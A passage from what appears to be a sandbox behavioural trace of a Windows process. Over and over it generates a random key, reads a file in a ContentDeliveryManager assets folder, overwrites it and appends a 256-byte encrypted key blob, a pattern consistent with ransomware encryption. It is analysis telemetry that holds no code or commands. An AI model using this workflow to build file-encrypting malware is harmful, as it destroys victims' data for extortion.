lpBuffer=0x342a098*, nNumberOfBytesToWrite=0x74077, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x342a098*, lpNumberOfBytesWritten=0x2e1f9bc*=0x74077, lpOverlapped=0x0) returned 1 [0169.548] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x74077 [0169.548] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.548] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.549] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.550] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.550] CloseHandle (hObject=0x1830) returned 1 [0169.552] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0169.552] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0169.552] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\f47711701e5b4c05b7eac6fe1c0548c02e4c03277ac900009f13478db199354d", dwFileAttributes=0x80) returned 1 [0169.556] ReadFile (in: hFile=0x1830, lpBuffer=0x2f74cc0, nNumberOfBytesToRead=0x2d1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f74cc0*, lpNumberOfBytesRead=0x2e1f9bc*=0x2d1, lpOverlapped=0x0) returned 1 [0169.566] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-721, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.566] WriteFile (in: hFile=0x1830, lpBuffer=0x2f74fa0*, nNumberOfBytesToWrite=0x2d1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f74fa0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2d1, lpOverlapped=0x0) returned 1 [0169.567] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2d1 [0169.567] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.567] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.568] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.568] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.568] CloseHandle (hObject=0x1830) returned 1 [0169.570] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0169.570] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0169.570] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\e730d1596cb42c148e26b43dcb0db83d670295440e1a9957c20937b859c39a1d", dwFileAttributes=0x80) returned 1 [0169.571] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x3c8d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x3c8d, lpOverlapped=0x0) returned 1 [0169.582] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-15501, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.582] WriteFile (in: hFile=0x1830, lpBuffer=0x30d4cc0*, nNumberOfBytesToWrite=0x3c8d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d4cc0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3c8d, lpOverlapped=0x0) returned 1 [0169.582] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3c8d [0169.583] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.583] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.583] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.583] WriteFile (in: hFile=0x1830, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.583] CloseHandle (hObject=0x1830) returned 1 [0169.584] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0169.584] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0169.585] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\e445565718ea27669f03db21a78ba05b686a73fdaf94b6245546f0ca789eef60", dwFileAttributes=0x80) returned 1 [0169.585] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x4420, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x4420, lpOverlapped=0x0) returned 1 [0169.592] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-17440, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.593] WriteFile (in: hFile=0x1830, lpBuffer=0x30d5450*, nNumberOfBytesToWrite=0x4420, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5450*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4420, lpOverlapped=0x0) returned 1 [0169.593] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4420 [0169.593] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.593] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.593] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.594] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.594] CloseHandle (hObject=0x1830) returned 1 [0169.648] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0169.648] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0169.648] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\e415df93dbd7c60fc7b2dc2f8084de15899c2037b0dbb4c5e024459d2f07a814", dwFileAttributes=0x80) returned 1 [0169.653] ReadFile (in: hFile=0x1830, lpBuffer=0x352d020, nNumberOfBytesToRead=0x112335, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x352d020*, lpNumberOfBytesRead=0x2e1f9bc*=0x112335, lpOverlapped=0x0) returned 1 [0169.757] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1123125, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.757] WriteFile (in: hFile=0x1830, lpBuffer=0x365d020*, nNumberOfBytesToWrite=0x112335, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x365d020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x112335, lpOverlapped=0x0) returned 1 [0169.770] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x112335 [0169.770] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.771] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.771] WriteFile (in: hFile=0x1830, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.771] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.771] CloseHandle (hObject=0x1830) returned 1 [0169.773] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0169.773] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0169.773] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\dbd5a16e8ac2fb7349e67e0aaf70d60e2641485dd003bce430f036f0de827338", dwFileAttributes=0x80) returned 1 [0169.773] ReadFile (in: hFile=0x1830, lpBuffer=0x5c3478, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.773] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.774] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.774] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0169.774] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.774] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.774] WriteFile (in: hFile=0x1830, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.775] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.775] CloseHandle (hObject=0x1830) returned 1 [0169.785] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0169.785] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0169.785] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\da9a9235bb06a52bf295af785e78ffde23dc3d5f4b802e7e5b2a2e5b3c120ff8", dwFileAttributes=0x80) returned 1 [0169.794] ReadFile (in: hFile=0x1830, lpBuffer=0x352a020, nNumberOfBytesToRead=0x1b22ff, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x352a020*, lpNumberOfBytesRead=0x2e1f9bc*=0x1b22ff, lpOverlapped=0x0) returned 1 [0169.877] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1778431, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.878] WriteFile (in: hFile=0x1830, lpBuffer=0x36ea020*, nNumberOfBytesToWrite=0x1b22ff, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36ea020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1b22ff, lpOverlapped=0x0) returned 1 [0169.897] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1b22ff [0169.897] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.897] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.897] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.898] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.898] CloseHandle (hObject=0x1830) returned 1 [0169.899] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0169.899] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0169.899] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\d88e3539801f345ed99c97a6d8522f1c1eba12703b5af88c2c3e30bf9e55e53e", dwFileAttributes=0x80) returned 1 [0169.900] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x416e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x416e, lpOverlapped=0x0) returned 1 [0169.909] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-16750, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.909] WriteFile (in: hFile=0x1830, lpBuffer=0x30d51a0*, nNumberOfBytesToWrite=0x416e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d51a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x416e, lpOverlapped=0x0) returned 1 [0169.909] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x416e [0169.909] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.909] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.909] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.910] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.910] CloseHandle (hObject=0x1830) returned 1 [0169.911] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0169.911] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0169.911] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\d15c8e99fdaf18a82b28332bd766af5a2034fb903b2be95b473103e7e4da0d6c", dwFileAttributes=0x80) returned 1 [0169.912] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x418c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x418c, lpOverlapped=0x0) returned 1 [0169.918] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-16780, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.919] WriteFile (in: hFile=0x1830, lpBuffer=0x30d51c0*, nNumberOfBytesToWrite=0x418c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d51c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x418c, lpOverlapped=0x0) returned 1 [0169.919] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x418c [0169.919] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.919] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.919] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.920] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.920] CloseHandle (hObject=0x1830) returned 1 [0169.922] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0169.922] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0169.922] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\c69e287ad304ff9adf8f6ea2a8d081f4fc18028908cef42f32726bbb7f84bc3d", dwFileAttributes=0x80) returned 1 [0169.922] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x6629, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x6629, lpOverlapped=0x0) returned 1 [0169.933] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-26153, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.933] WriteFile (in: hFile=0x1830, lpBuffer=0x30d7660*, nNumberOfBytesToWrite=0x6629, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7660*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6629, lpOverlapped=0x0) returned 1 [0169.934] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6629 [0169.934] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.934] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.934] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.934] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.935] CloseHandle (hObject=0x1830) returned 1 [0169.936] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0169.936] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0169.936] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\c35c5eef07eec7d3a8b8d53ee86d6b0d68502c8108171f206c183ec953766704", dwFileAttributes=0x80) returned 1 [0169.936] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x3ca0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x3ca0, lpOverlapped=0x0) returned 1 [0169.988] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-15520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.988] WriteFile (in: hFile=0x1830, lpBuffer=0x30d4cd0*, nNumberOfBytesToWrite=0x3ca0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d4cd0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3ca0, lpOverlapped=0x0) returned 1 [0169.989] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3ca0 [0169.989] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.989] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.989] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, 